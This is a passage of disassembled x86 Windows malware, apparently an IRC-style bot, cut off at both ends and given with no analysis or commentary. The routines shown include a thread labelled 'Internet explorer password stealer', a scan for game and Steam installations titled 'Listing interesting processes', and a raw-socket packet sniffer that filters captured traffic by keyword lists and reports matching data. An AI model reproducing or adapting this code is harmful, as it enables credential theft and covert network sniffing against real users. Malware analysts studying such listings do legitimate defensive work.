		mov	byte ptr [ebp+edi-5BCh], 2Ch
		jmp	short loc_4105F8
; ---------------------------------------------------------------------------


loc_4105CE:				; CODE XREF: sub_4101E6+3DCj
		push	ecx
		call	dword_412200	; IsCharAlphaNumericA
		test	eax, eax
		mov	eax, [ebp-18h]
		jnz	short loc_4105EE
		mov	cl, [esi+eax]
		cmp	cl, 40h
		jz	short loc_4105EE
		cmp	cl, 2Eh
		jz	short loc_4105EE
		cmp	cl, 5Fh
		jnz	short loc_4105F9


loc_4105EE:				; CODE XREF: sub_4101E6+3F4j
					; sub_4101E6+3FCj ...
		mov	cl, [esi+eax]
		mov	[ebp+edi-5BCh],	cl


loc_4105F8:				; CODE XREF: sub_4101E6+3E6j
		inc	edi


loc_4105F9:				; CODE XREF: sub_4101E6+406j
		inc	esi
		inc	esi
		cmp	esi, [ebp-20h]
		jb	short loc_4105BD


loc_410600:				; CODE XREF: sub_4101E6+3D5j
		mov	[ebp+edi-5BDh],	bl
		cmp	[eax+4], bl
		lea	esi, [ebp-5BAh]
		mov	[ebp-2Ch], ebx
		jbe	loc_410705


loc_410619:				; CODE XREF: sub_4101E6+519j
		inc	esi
		lea	eax, [ebp-3BCh]
		push	esi
		push	eax
		call	dword_412104	; lstrcpy
		mov	edi, offset dword_418854
		lea	eax, [ebp-3BCh]
		push	edi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410651
		lea	eax, [ebp-3BCh]
		push	edi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_410651:				; CODE XREF: sub_4101E6+458j
		push	edi
		push	esi
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410677
		push	edi
		push	esi
		call	sub_411528	; strstr
		pop	ecx
		inc	eax
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0E8h]
		push	eax
		call	dword_412104	; lstrcpy


loc_410677:				; CODE XREF: sub_4101E6+476j
		lea	eax, [ebp-0E8h]
		push	edi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41069B
		lea	eax, [ebp-0E8h]
		push	edi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_41069B:				; CODE XREF: sub_4101E6+4A2j
		push	edi
		push	esi
		call	sub_411528	; strstr
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp-0E8h]
		push	eax
		call	dword_412040	; lstrlen
		inc	dword ptr [ebp-10h]
		push	3E8h
		lea	esi, [esi+eax+9]
		call	dword_4120A4	; Sleep
		cmp	[ebp-0F7h], bl
		jnz	short loc_4106F2
		lea	eax, [ebp-0E8h]
		push	eax
		lea	eax, [ebp-3BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_418814
		push	eax
		call	sub_4096CB
		add	esp, 14h


loc_4106F2:				; CODE XREF: sub_4101E6+4E5j
		mov	eax, [ebp-18h]
		inc	dword ptr [ebp-2Ch]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-2Ch], eax
		jl	loc_410619


loc_410705:				; CODE XREF: sub_4101E6+3C5j
					; sub_4101E6+42Dj
		lea	eax, [ebp-84h]
		push	offset aE161255a ; "e161255a"
		push	eax
		call	dword_412110	; lstrcmp
		test	eax, eax
		jnz	loc_41087C
		lea	eax, [ebp-7BCh]
		push	offset aStringindex ; "StringIndex"
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41087C
		mov	esi, offset dword_4187F4
		lea	eax, [ebp-7BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410763
		lea	eax, [ebp-7BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_410763:				; CODE XREF: sub_4101E6+56Aj
		lea	eax, [ebp-7BCh]
		push	8
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	dword_412108	; lstrcpyn
		lea	eax, [ebp-358h]
		push	offset dword_4187EC
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4107EB
		lea	eax, [ebp-358h]
		push	offset dword_4187E4
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4107EB
		inc	dword ptr [ebp-10h]
		push	3E8h
		call	dword_4120A4	; Sleep
		cmp	[ebp-0F7h], bl
		jnz	loc_41087C
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_41879C
		push	eax
		call	sub_4096CB
		add	esp, 14h
		jmp	loc_41087C
; ---------------------------------------------------------------------------


loc_4107EB:				; CODE XREF: sub_4101E6+5A8j
					; sub_4101E6+5BFj
		mov	edi, dword_412104
		lea	eax, [ebp-358h]
		push	offset byte_4191D0
		push	eax
		call	edi	; lstrcpy
		mov	esi, offset dword_418854
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410842
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_410842:				; CODE XREF: sub_4101E6+62Fj
		inc	dword ptr [ebp-10h]
		push	3E8h
		call	dword_4120A4	; Sleep
		lea	eax, [ebp-358h]
		push	eax
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_418740
		push	eax
		call	sub_4096CB
		add	esp, 18h


loc_41087C:				; CODE XREF: sub_4101E6+533j
					; sub_4101E6+54Ej ...
		mov	esi, 200h
		lea	eax, [ebp-7BCh]
		push	esi
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		push	esi
		lea	eax, [ebp-5BCh]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		jmp	loc_4103AA
; ---------------------------------------------------------------------------


loc_4108A5:				; CODE XREF: sub_4101E6+1E5j
		mov	eax, [ebp-28h]
		mov	byte ptr [ebp-4], 2
		cmp	eax, ebx
		jz	loc_410346
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_410346
; ---------------------------------------------------------------------------


loc_4108BF:				; CODE XREF: sub_4101E6+181j
		mov	eax, [ebp-24h]
		mov	byte ptr [ebp-4], 1
		cmp	eax, ebx
		jz	loc_4102B6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_4102B6
; ---------------------------------------------------------------------------


loc_4108D9:				; CODE XREF: sub_4101E6+F1j
					; sub_4101E6+100j
		mov	al, [ebp+0Bh]
		push	3E8h
		mov	[ebp-0F4h], al
		call	dword_4120A4	; Sleep
		push	dword ptr [ebp-10h]
		mov	eax, [ebp-290h]
		push	dword ptr [eax]
		lea	eax, [ebp-28Ch]
		push	offset unk_418704
		push	eax
		call	sub_4096CB
		push	dword ptr [ebp-290h]
		call	sub_406E6F
		add	esp, 14h


loc_410917:				; CODE XREF: sub_4101E6+9Dj
		mov	eax, [ebp-1Ch]
		mov	[ebp-4], bl
		cmp	eax, ebx
		jz	short loc_410927
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_410927:				; CODE XREF: sub_4101E6+57j
					; sub_4101E6+739j
		mov	eax, [ebp-14h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	eax, ebx
		jz	short loc_410938
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_410938:				; CODE XREF: sub_4101E6+74Aj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4101E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41094B	proc near		; CODE XREF: sub_407A76+6Cp

arg_0		= dword	ptr  4

		cmp	dword_419220, 0
		push	esi
		jz	short loc_41098A
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_41098A
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	esi
		push	offset sub_4101E6
		call	sub_406D58
		add	esp, 10h


loc_41098A:				; CODE XREF: sub_41094B+8j
					; sub_41094B+19j
		pop	esi
		retn
sub_41094B	endp

; ---------------------------------------------------------------------------


loc_41098C:				; CODE XREF: kkrunchy:00411963j
					; kkrunchy:0041196Bj ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_410998
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_410998:				; CODE XREF: kkrunchy:00410990j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410999	proc near		; DATA XREF: sub_410B3B+29o

var_5BC		= byte ptr -5BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5BCh
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		xor	esi, esi
		add	esp, 10h
		mov	[ebp+var_8], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_0], esi
		xor	ebx, ebx


loc_4109D7:				; CODE XREF: sub_410999+ACj
		lea	eax, [ebp+var_5BC]
		push	400h
		push	eax
		push	ebx
		call	dword_4121F0	; GetWindowTextA
		push	7
		lea	eax, [ebp+var_5BC]
		push	offset aUnreal3	; "Unreal3"
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		push	1
		pop	edi
		jnz	short loc_410A0A
		mov	[ebp+var_C], edi


loc_410A0A:				; CODE XREF: sub_410999+6Cj
		lea	eax, [ebp+var_5BC]
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		push	eax
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410A24
		mov	[ebp+var_14], edi


loc_410A24:				; CODE XREF: sub_410999+86j
		lea	eax, [ebp+var_5BC]
		push	offset aConquer	; "[Conquer]"
		push	eax
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410A3E
		mov	[ebp+arg_0], edi


loc_410A3E:				; CODE XREF: sub_410999+A0j
		inc	ebx
		cmp	ebx, 0FFFFh
		jb	short loc_4109D7
		mov	edi, dword_412000
		lea	eax, [ebp+var_4]
		mov	ebx, 20019h
		push	eax
		push	ebx
		push	esi
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		mov	[ebp+var_4], esi
		call	edi	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_410A72
		mov	[ebp+var_8], 1


loc_410A72:				; CODE XREF: sub_410999+D0j
		push	[ebp+var_4]
		mov	esi, dword_412028
		call	esi	; RegCloseKey
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	edi	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_410A9F
		mov	[ebp+var_10], 1


loc_410A9F:				; CODE XREF: sub_410999+FDj
		push	[ebp+var_4]
		call	esi	; RegCloseKey
		cmp	[ebp+var_20], 0
		mov	eax, offset aNo	; "No"
		mov	ecx, offset aYes ; "Yes"
		jz	short loc_410ADD
		xor	edx, edx
		cmp	[ebp+var_C], edx
		jnz	short loc_410ADF
		cmp	[ebp+var_8], edx
		jnz	short loc_410ADF
		cmp	[ebp+var_10], edx
		jnz	short loc_410ADF
		cmp	[ebp+var_14], edx
		jnz	short loc_410ADF
		cmp	[ebp+arg_0], edx
		jnz	short loc_410AE4
		push	[ebp+var_1BC]
		call	sub_406E6F
		pop	ecx
		jmp	short loc_410B32
; ---------------------------------------------------------------------------


loc_410ADD:				; CODE XREF: sub_410999+119j
		xor	edx, edx


loc_410ADF:				; CODE XREF: sub_410999+120j
					; sub_410999+125j ...
		cmp	[ebp+arg_0], edx
		jz	short loc_410AE8


loc_410AE4:				; CODE XREF: sub_410999+134j
		mov	ebx, ecx
		jmp	short loc_410AEA
; ---------------------------------------------------------------------------


loc_410AE8:				; CODE XREF: sub_410999+149j
		mov	ebx, eax


loc_410AEA:				; CODE XREF: sub_410999+14Dj
		cmp	[ebp+var_14], edx
		mov	edi, ecx
		jnz	short loc_410AF3
		mov	edi, eax


loc_410AF3:				; CODE XREF: sub_410999+156j
		cmp	[ebp+var_10], edx
		mov	esi, ecx
		jnz	short loc_410AFC
		mov	esi, eax


loc_410AFC:				; CODE XREF: sub_410999+15Fj
		cmp	[ebp+var_8], 0
		mov	edx, ecx
		jnz	short loc_410B06
		mov	edx, eax


loc_410B06:				; CODE XREF: sub_410999+169j
		cmp	[ebp+var_C], 0
		jz	short loc_410B0E
		mov	eax, ecx


loc_410B0E:				; CODE XREF: sub_410999+171j
		push	ebx
		push	edi
		push	esi
		push	edx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	offset dword_418984
		push	eax
		call	sub_4096CB
		push	[ebp+var_1BC]
		call	sub_406E6F
		add	esp, 20h


loc_410B32:				; CODE XREF: sub_410999+142j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_410999	endp


; =============== S U B	R O U T	I N E =======================================



sub_410B3B	proc near		; CODE XREF: sub_407A76+B84p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_410B71
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	esi
		push	offset sub_410999
		call	sub_406D58
		add	esp, 10h


loc_410B71:				; CODE XREF: sub_410B3B+10j
		pop	esi
		retn
sub_410B3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B73	proc near		; CODE XREF: sub_410BC3+32p
					; sub_410BC3+4Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		cmp	dword ptr [eax], 0
		jz	short loc_410BB9
		mov	esi, eax


loc_410B81:				; CODE XREF: sub_410B73+44j
		push	dword ptr [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_405A0D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410BAF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410BBE
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_405A0D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410BBE


loc_410BAF:				; CODE XREF: sub_410B73+20j
		add	esi, 8
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_410B81


loc_410BB9:				; CODE XREF: sub_410B73+Aj
		xor	eax, eax


loc_410BBB:				; CODE XREF: sub_410B73+4Ej
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_410BBE:				; CODE XREF: sub_410B73+27j
					; sub_410B73+3Aj
		push	1
		pop	eax
		jmp	short loc_410BBB
sub_410B73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410BC3	proc near		; CODE XREF: sub_410C55+29Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		jz	short loc_410BE6
		push	[ebp+arg_C]
		push	esi
		push	edi
		call	sub_405A0D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410C49


loc_410BE6:				; CODE XREF: sub_410BC3+10j
		mov	ebx, [ebp+arg_8]
		cmp	ebx, 1
		jb	short loc_410C01
		push	esi
		push	edi
		push	offset off_418AB4
		call	sub_410B73
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410C49


loc_410C01:				; CODE XREF: sub_410BC3+29j
		cmp	ebx, 2
		jb	short loc_410C19
		push	esi
		push	edi
		push	offset off_418B10
		call	sub_410B73
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410C49


loc_410C19:				; CODE XREF: sub_410BC3+41j
		cmp	ebx, 3
		jb	short loc_410C31
		push	esi
		push	edi
		push	offset off_418B84
		call	sub_410B73
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410C49


loc_410C31:				; CODE XREF: sub_410BC3+59j
		cmp	ebx, 4
		jb	short loc_410C4E
		push	esi
		push	edi
		push	offset off_418BC8
		call	sub_410B73
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410C4E


loc_410C49:				; CODE XREF: sub_410BC3+21j
					; sub_410BC3+3Cj ...
		push	1
		pop	eax
		jmp	short loc_410C50
; ---------------------------------------------------------------------------


loc_410C4E:				; CODE XREF: sub_410BC3+71j
					; sub_410BC3+84j
		xor	eax, eax


loc_410C50:				; CODE XREF: sub_410BC3+89j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410BC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C55	proc near		; DATA XREF: sub_4110B4+76o

var_199C	= byte ptr -199Ch
var_1993	= byte ptr -1993h
var_1990	= dword	ptr -1990h
var_198C	= dword	ptr -198Ch
var_970		= byte ptr -970h
var_870		= byte ptr -870h
var_770		= byte ptr -770h
var_670		= byte ptr -670h
var_4F0		= byte ptr -4F0h
var_4EF		= byte ptr -4EFh
var_3F0		= dword	ptr -3F0h
var_3EC		= dword	ptr -3ECh
var_3E8		= byte ptr -3E8h
var_1E8		= byte ptr -1E8h
var_5A		= byte ptr -5Ah
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_44		= byte ptr -44h
var_40		= word ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 199Ch
		call	sub_411540
		push	ebx
		push	esi
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		mov	al, [ebp+var_3E8]
		add	esp, 10h
		neg	al
		sbb	eax, eax
		xor	ebx, ebx
		lea	ecx, [ebp+var_3E8]
		push	ebx
		and	eax, ecx
		push	3
		push	2
		mov	[ebp+var_24], eax
		call	dword_41222C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jz	loc_41109F
		lea	eax, [ebp+var_970]
		push	0FFh
		push	eax
		call	dword_412270	; gethostname
		lea	eax, [ebp+var_970]
		push	eax
		call	dword_41224C	; gethostbyname
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_411098
		push	10h
		lea	eax, [ebp+var_40]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		mov	[ebp+var_40], 2
		mov	eax, [edi+0Ch]
		add	esp, 0Ch
		mov	eax, [eax]
		push	10h
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_40]
		push	eax
		push	esi
		call	dword_41221C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_411098
		push	ebx
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	98000001h
		push	esi
		mov	[ebp+var_28], 1
		call	dword_41226C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jz	loc_411098
		push	[ebp+var_3EC]
		mov	eax, [ebp+var_3F0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1E8]
		push	offset unk_418D94
		push	eax
		call	sub_4096CB
		add	esp, 10h
		xor	eax, eax
		lea	edi, [ebp+var_4EF]
		mov	[ebp+var_4F0], bl
		push	3Fh
		mov	[ebp+var_14], bl
		pop	ecx
		mov	[ebp+var_50], bl
		rep stosd
		stosw
		stosb
		xor	eax, eax
		lea	edi, [ebp+var_13]
		stosd
		stosb
		lea	eax, [ebp+var_4F0]
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_4034DE
		pop	ecx
		lea	eax, [ebp+var_14]
		pop	ecx
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_40357F
		pop	ecx
		lea	eax, [ebp+var_4F0]
		pop	ecx
		push	eax
		call	dword_412254	; inet_addr
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41151C	; atoi
		mov	[ebp+var_30], eax
		xor	eax, eax
		lea	edi, [ebp+var_1B]
		mov	[ebp+var_1C], bl
		stosd
		stosb
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_403530
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41151C	; atoi
		add	esp, 0Ch
		mov	[ebp+var_2C], eax


loc_410DF1:				; CODE XREF: sub_410C55+1F3j
					; sub_410C55+43Bj
		push	ebx
		lea	eax, [ebp+var_199C]
		push	1028h
		push	eax
		push	esi
		call	dword_412258	; recv
		mov	ecx, [ebp+var_3F0]
		cmp	[ecx+4], ebx
		jnz	loc_411098
		cmp	eax, 0FFFFFFFFh
		jz	loc_411098
		cmp	eax, ebx
		jz	loc_411098
		mov	[ebp+eax+var_199C], bl
		mov	cl, [ebp+var_199C]
		and	ecx, 0Fh
		lea	edx, [ebp+var_199C]
		lea	edi, [ebp+ecx*4+var_199C]
		mov	ecx, edi
		sub	ecx, edx
		cmp	ecx, eax
		jnb	short loc_410DF1
		movzx	ecx, byte ptr [edi+0Ch]
		shr	ecx, 4
		lea	edx, [ebp+var_199C]
		lea	esi, [edi+ecx*4]
		mov	ecx, esi
		sub	ecx, edx
		cmp	ecx, eax
		jnb	loc_41108D
		push	esi
		call	sub_4114BE	; strlen
		cmp	[ebp+var_1993],	6
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	loc_41108D
		cmp	[ebp+var_5A], bl
		jz	short loc_410E91
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_198C],	eax
		jnz	loc_41108D


loc_410E91:				; CODE XREF: sub_410C55+22Bj
		cmp	[ebp+var_54], bl
		jz	short loc_410EA5
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_1990],	eax
		jnz	loc_41108D


loc_410EA5:				; CODE XREF: sub_410C55+23Fj
		mov	ax, [edi]
		push	eax
		call	dword_412248	; htons
		cmp	ax, word ptr [ebp+var_2C]
		jnz	short loc_410EC4
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_1990],	eax
		jz	loc_41108D


loc_410EC4:				; CODE XREF: sub_410C55+25Ej
		mov	ax, [edi]
		push	eax
		call	dword_412248	; htons
		cmp	ax, word ptr [ebp+var_30]
		jnz	short loc_410EE3
		mov	eax, [ebp+var_20]
		cmp	[ebp+var_1990],	eax
		jz	loc_41108D


loc_410EE3:				; CODE XREF: sub_410C55+27Dj
		push	[ebp+var_24]
		push	[ebp+var_3EC]
		push	[ebp+arg_0]
		push	esi
		call	sub_410BC3
		add	esp, 10h
		test	eax, eax
		jz	loc_41108D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		jbe	short loc_410F28


loc_410F07:				; CODE XREF: sub_410C55+2D1j
		cmp	byte ptr [ecx+esi], 0Dh
		lea	eax, [ecx+esi]
		jnz	short loc_410F13
		mov	byte ptr [eax],	2Dh


loc_410F13:				; CODE XREF: sub_410C55+2B9j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_410F1B
		mov	byte ptr [eax],	3Eh


loc_410F1B:				; CODE XREF: sub_410C55+2C1j
		cmp	[eax], bl
		jnz	short loc_410F22
		mov	byte ptr [eax],	2Eh


loc_410F22:				; CODE XREF: sub_410C55+2C8j
		inc	ecx
		cmp	ecx, [ebp+arg_0]
		jb	short loc_410F07


loc_410F28:				; CODE XREF: sub_410C55+2B0j
		xor	eax, eax
		xor	ecx, ecx
		cmp	[esi], bl
		mov	[ebp+arg_0], ecx
		jz	short loc_410F4D


loc_410F33:				; CODE XREF: sub_410C55+2F3j
		mov	dl, [eax+esi]
		cmp	dl, 7Fh
		jge	short loc_410F44
		cmp	dl, 1Fh
		jle	short loc_410F44
		mov	[ecx+esi], dl
		inc	ecx


loc_410F44:				; CODE XREF: sub_410C55+2E4j
					; sub_410C55+2E9j
		inc	eax
		cmp	[eax+esi], bl
		jnz	short loc_410F33
		mov	[ebp+arg_0], ecx


loc_410F4D:				; CODE XREF: sub_410C55+2DCj
		mov	al, [eax+esi]
		cmp	ecx, ebx
		mov	[ecx+esi], al
		jz	loc_41108D
		push	100h
		push	[ebp+var_1990]
		call	dword_412230	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_870]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		push	100h
		push	[ebp+var_198C]
		call	dword_412230	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_770]
		push	eax
		call	sub_4059C2
		mov	ax, [edi+2]
		add	esp, 0Ch
		push	eax
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_770]
		push	eax
		mov	ax, [edi]
		push	eax
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_870]
		push	eax
		lea	eax, [ebp+var_670]
		push	offset dword_418D60
		push	eax
		call	sub_4114DC	; sprintf
		mov	edi, eax
		mov	eax, 180h
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi+var_670]
		push	esi
		push	eax
		call	sub_4059C2
		add	esp, 24h
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_413B6C
		push	eax
		call	sub_4096CB
		add	esp, 0Ch
		push	3E8h
		call	dword_4120A4	; Sleep
		mov	eax, [ebp+var_3F0]
		cmp	[eax+4], ebx
		jnz	short loc_411095
		mov	eax, 17Fh
		sub	eax, edi
		mov	edi, [ebp+arg_0]
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jnb	short loc_41108D
		add	esi, eax


loc_411038:				; CODE XREF: sub_410C55+436j
		push	180h
		lea	eax, [ebp+var_670]
		push	esi
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_413B6C
		push	eax
		call	sub_4096CB
		add	esp, 0Ch
		push	3E8h
		call	dword_4120A4	; Sleep
		mov	eax, [ebp+var_3F0]
		cmp	[eax+4], ebx
		jnz	short loc_411095
		mov	eax, 17Fh
		add	[ebp+var_4], eax
		add	esi, eax
		cmp	[ebp+var_4], edi
		jb	short loc_411038


loc_41108D:				; CODE XREF: sub_410C55+20Bj
					; sub_410C55+222j ...
		mov	esi, [ebp+var_C]
		jmp	loc_410DF1
; ---------------------------------------------------------------------------


loc_411095:				; CODE XREF: sub_410C55+3CEj
					; sub_410C55+427j
		mov	esi, [ebp+var_C]


loc_411098:				; CODE XREF: sub_410C55+82j
					; sub_410C55+B7j ...
		push	esi
		call	dword_412240	; closesocket


loc_41109F:				; CODE XREF: sub_410C55+59j
		push	[ebp+var_3F0]
		call	sub_406E6F
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_410C55	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110B4	proc near		; CODE XREF: sub_407A76+643p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	3ABh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_411138
		cmp	[esp+4+arg_4], 0
		jz	short loc_4110D9
		push	[esp+4+arg_4]
		call	sub_41151C	; atoi
		pop	ecx
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------


loc_4110D9:				; CODE XREF: sub_4110B4+17j
		push	3
		pop	eax


loc_4110DC:				; CODE XREF: sub_4110B4+23j
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_8]
		test	eax, eax
